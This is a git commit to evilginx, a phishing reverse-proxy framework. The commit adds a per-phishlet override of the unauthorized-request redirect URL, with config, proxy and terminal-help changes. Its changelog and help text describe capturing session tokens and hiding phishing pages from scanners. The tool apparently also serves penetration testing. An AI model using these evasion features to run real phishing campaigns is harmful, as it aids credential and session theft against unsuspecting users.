override global unauth_url per phishlet

This commit is contained in:
Kuba Gretzky 2023-08-16 16:17:45 +02:00
parent 535eeba80f
commit b784e19b2a
4 changed files with 73 additions and 16 deletions

View File

@ -2,6 +2,7 @@
- Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen.
- Feature: Added phishlet ability to intercept HTTP requests and return custom responses via new `intercept` section.
- Feature: Added default `redirect_url` in phishlets to hold a default redirect URL, to redirect to once tokens are captured, when it is not set in used phishing lure. `redirect_url` set for the lure will override this.
- Feature: You can now override global unauthorized redirect URL per phishlet with `phishlet unauth_url <phishlet> <url>`.
- Fixed: Changed `redirect_url` to `unauth_url` in global config to avoid confusion.
- Fixed: Fixed HTTP status code response for Javascript redirects.
- Fixed: Javascript redirects now happen on `text/html` pages with valid HTML content.

View File

@ -2,6 +2,7 @@ package core
import (
"fmt"
"net/url"
"os"
"path/filepath"
"strings"
@ -34,9 +35,10 @@ type SubPhishlet struct {
}
type PhishletConfig struct {
Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
Visible bool `mapstructure:"visible" json:"visible" yaml:"visible"`
Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
UnauthUrl string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"`
Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
Visible bool `mapstructure:"visible" json:"visible" yaml:"visible"`
}
type ProxyConfig struct {
@ -167,9 +169,10 @@ func (c *Config) PhishletConfig(site string) *PhishletConfig {
return o
} else {
o := &PhishletConfig{
Hostname: "",
Enabled: false,
Visible: true,
Hostname: "",
UnauthUrl: "",
Enabled: false,
Visible: true,
}
c.phishletConfig[site] = o
return o
@ -205,6 +208,29 @@ func (c *Config) SetSiteHostname(site string, hostname string) bool {
return true
}
func (c *Config) SetSiteUnauthUrl(site string, _url string) bool {
pl, err := c.GetPhishlet(site)
if err != nil {
log.Error("%v", err)
return false
}
if pl.isTemplate {
log.Error("phishlet is a template - can't set unauth_url")
return false
}
if _url != "" {
_, err := url.ParseRequestURI(_url)
if err != nil {
log.Error("invalid URL: %s", err)
return false
}
}
log.Info("phishlet '%s' unauth_url set to: %s", site, _url)
c.PhishletConfig(site).UnauthUrl = _url
c.SavePhishlets()
return true
}
func (c *Config) SetBaseDomain(domain string) {
c.general.Domain = domain
c.cfg.Set(CFG_GENERAL, c.general)
@ -397,10 +423,15 @@ func (c *Config) SetBlacklistMode(mode string) {
log.Info("blacklist mode set to: %s", mode)
}
func (c *Config) SetUnauthUrl(url string) {
c.general.UnauthUrl = url
func (c *Config) SetUnauthUrl(_url string) {
_, err := url.ParseRequestURI(_url)
if err != nil {
log.Error("invalid URL: %s", err)
return
}
c.general.UnauthUrl = _url
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("unauthorized request redirection URL set to: %s", url)
log.Info("unauthorized request redirection URL set to: %s", _url)
c.cfg.WriteConfig()
}
@ -673,6 +704,13 @@ func (c *Config) GetSiteDomain(site string) (string, bool) {
return "", false
}
func (c *Config) GetSiteUnauthUrl(site string) (string, bool) {
if o, ok := c.phishletConfig[site]; ok {
return o.UnauthUrl, ok
}
return "", false
}
func (c *Config) GetBaseDomain() string {
return c.general.Domain
}

View File

@ -1098,8 +1098,15 @@ func (p *HttpProxy) waitForRedirectUrl(session_id string) (string, bool) {
}
func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Response) {
if len(p.cfg.general.UnauthUrl) > 0 {
redirect_url := p.cfg.general.UnauthUrl
var redirect_url string
if pl := p.getPhishletByPhishHost(req.Host); pl != nil {
redirect_url = p.cfg.PhishletConfig(pl.Name).UnauthUrl
}
if redirect_url == "" && len(p.cfg.general.UnauthUrl) > 0 {
redirect_url = p.cfg.general.UnauthUrl
}
if redirect_url != "" {
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", redirect_url)

View File

@ -634,6 +634,13 @@ func (t *Terminal) handlePhishlets(args []string) error {
t.manageCertificates(false)
}
return nil
case "unauth_url":
_, err := t.cfg.GetPhishlet(args[1])
if err != nil {
return err
}
t.cfg.SetSiteUnauthUrl(args[1], args[2])
return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
@ -1047,12 +1054,14 @@ func (t *Terminal) createHelp() {
readline.PcItem("phishlets", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("delete", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter))))
readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter))))
h.AddSubCommand("phishlets", nil, "", "show status of all available phishlets")
h.AddSubCommand("phishlets", nil, "<phishlet>", "show details of a specific phishlets")
h.AddSubCommand("phishlets", []string{"create"}, "create <phishlet> <child_name> <key1=value1> <key2=value2>", "create child phishlet from a template phishlet with custom parameters")
h.AddSubCommand("phishlets", []string{"delete"}, "delete <phishlet>", "delete child phishlet")
h.AddSubCommand("phishlets", []string{"hostname"}, "hostname <phishlet> <hostname>", "set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com)")
h.AddSubCommand("phishlets", []string{"unauth_url"}, "unauth_url <phishlet> <url>", "override global unauth_url just for this phishlet")
h.AddSubCommand("phishlets", []string{"enable"}, "enable <phishlet>", "enables phishlet and requests ssl/tls certificate if needed")
h.AddSubCommand("phishlets", []string{"disable"}, "disable <phishlet>", "disables phishlet")
h.AddSubCommand("phishlets", []string{"hide"}, "hide <phishlet>", "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)")
@ -1189,6 +1198,7 @@ func (t *Terminal) manageCertificates(verbose bool) {
func (t *Terminal) sprintPhishletStatus(site string) string {
higreen := color.New(color.FgHiGreen)
logreen := color.New(color.FgGreen)
hiblue := color.New(color.FgHiBlue)
blue := color.New(color.FgBlue)
cyan := color.New(color.FgHiCyan)
@ -1196,7 +1206,7 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
higray := color.New(color.FgWhite)
logray := color.New(color.FgHiBlack)
n := 0
cols := []string{"phishlet", "status", "visibility", "hostname"}
cols := []string{"phishlet", "status", "visibility", "hostname", "unauth_url"}
var rows [][]string
var pnames []string
@ -1224,6 +1234,7 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
hidden_status = logray.Sprint("hidden")
}
domain, _ := t.cfg.GetSiteDomain(s)
unauth_url, _ := t.cfg.GetSiteUnauthUrl(s)
n += 1
if s == site {
@ -1238,11 +1249,11 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
}
}
keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "params"}
vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logray.Sprint(param_names)}
keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "unauth_url", "params"}
vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names)}
return AsRows(keys, vals)
} else if site == "" {
rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain)})
rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url)})
}
}
}